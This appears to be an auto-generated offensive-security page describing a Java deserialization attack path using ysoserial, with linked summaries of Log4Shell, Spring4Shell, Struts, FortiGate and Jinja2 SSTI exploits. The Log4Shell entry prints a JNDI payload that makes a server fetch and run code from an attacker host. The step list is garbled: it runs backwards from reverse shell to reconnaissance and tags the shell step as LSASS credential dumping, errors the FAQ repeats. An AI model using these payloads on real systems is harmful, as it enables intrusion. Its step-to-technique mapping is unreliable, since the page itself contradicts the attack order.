Java deserialization → ysoserial → RCE
An endpoint deserializes a Java object from user-controlled bytes. ysoserial produces a gadget chain whose readObject() reaches Runtime.exec().
§ Context
Assumed environment: Java app with a deserialization sink — viewstate, REST endpoint that accepts a serialized blob, RMI port, JMX, or a custom protocol. Classpath includes a gadget-providing library (Commons-Collections, Spring, etc.).
§ Steps
- 01Reverse shell + reconCredential AccessT1003.001— LSASS Memory
- 02Code execution as the Java userExecutionT1059— Command and Scripting Interpreter
- 03Send payload to the sinkExecutionW-DESER-JAVA— Deserialization — Java (ysoserial)
- 04Build ysoserial payload (CommonsCollections5)ExecutionW-DESER-JAVA— Deserialization — Java (ysoserial)
- 05Confirm with a benign gadgetExecutionW-DESER-JAVA— Deserialization — Java (ysoserial)
URLDNS gadget — DNS callback.
- 06Identify deserialization sinkReconnaissanceW-RECON-FINGERPRINT— Tech Stack Fingerprinting
Magic bytes 0xACED, viewstate, JNDI calls.
§ References
- T1003.001LSASS Memory
- T1059Command and Scripting Interpreter
§ Frequently asked
- What is the "Java deserialization → ysoserial → RCE" attack path?
- An endpoint deserializes a Java object from user-controlled bytes. ysoserial produces a gadget chain whose readObject() reaches Runtime.exec(). It chains 6 steps drawn from real-world offensive-security techniques.
- What starting position does this attack require?
- The first step is Reverse shell + recon (T1003.001) — a credential access primitive. Assumed environment: Java app with a deserialization sink — viewstate, REST endpoint that accepts a serialized blob, RMI port, JMX, or a custom protocol.
- What is the final impact of this kill-chain?
- The final step lands on Identify deserialization sink (W-RECON-FINGERPRINT), which falls under Reconnaissance. From here, an operator typically pivots into post-exploitation or maintains persistence.
- How can defenders detect or prevent this attack?
- Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.
§ Related dossiers
- Shared techniques2
F5 BIG-IP iControl auth bypass (CVE-2022-1388) → root on LB
Connection-header smuggle bypasses iControl REST auth, command-injection RCE as root. Load balancers see all traffic — recover TLS keys, session cookies, internal SSO config.
- Shared techniques2
Log4Shell (CVE-2021-44228) → RCE → lateral
Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.
- Shared techniques2
Spring4Shell (CVE-2022-22965) → JSP webshell on Tomcat
Send a crafted POST that uses Spring's data-binding to mutate Tomcat's logging configuration — turn its access log into a JSP file written under webapps/, then request it.
- Shared techniques2
Apache Struts S2-045 (CVE-2017-5638) → Equifax-style breach
Crafted Content-Type header is parsed as OGNL — execute commands as the app user. The 2017 Equifax breach origin: unpatched Struts endpoint exposed to the internet.
- Shared techniques2
FortiGate SSL-VPN pre-auth RCE → config theft
Pre-auth heap overflow / format-string against FortiGate sslvpnd grants root on the appliance. Pull the running config, decrypt stored RADIUS / LDAP / VPN-user secrets.
- Shared techniques2
SSTI (Jinja2) → sandbox escape → RCE
User input rendered as a Jinja2 template instead of escaped. Escape the sandbox via __class__.__mro__ to reach subprocess and execute commands.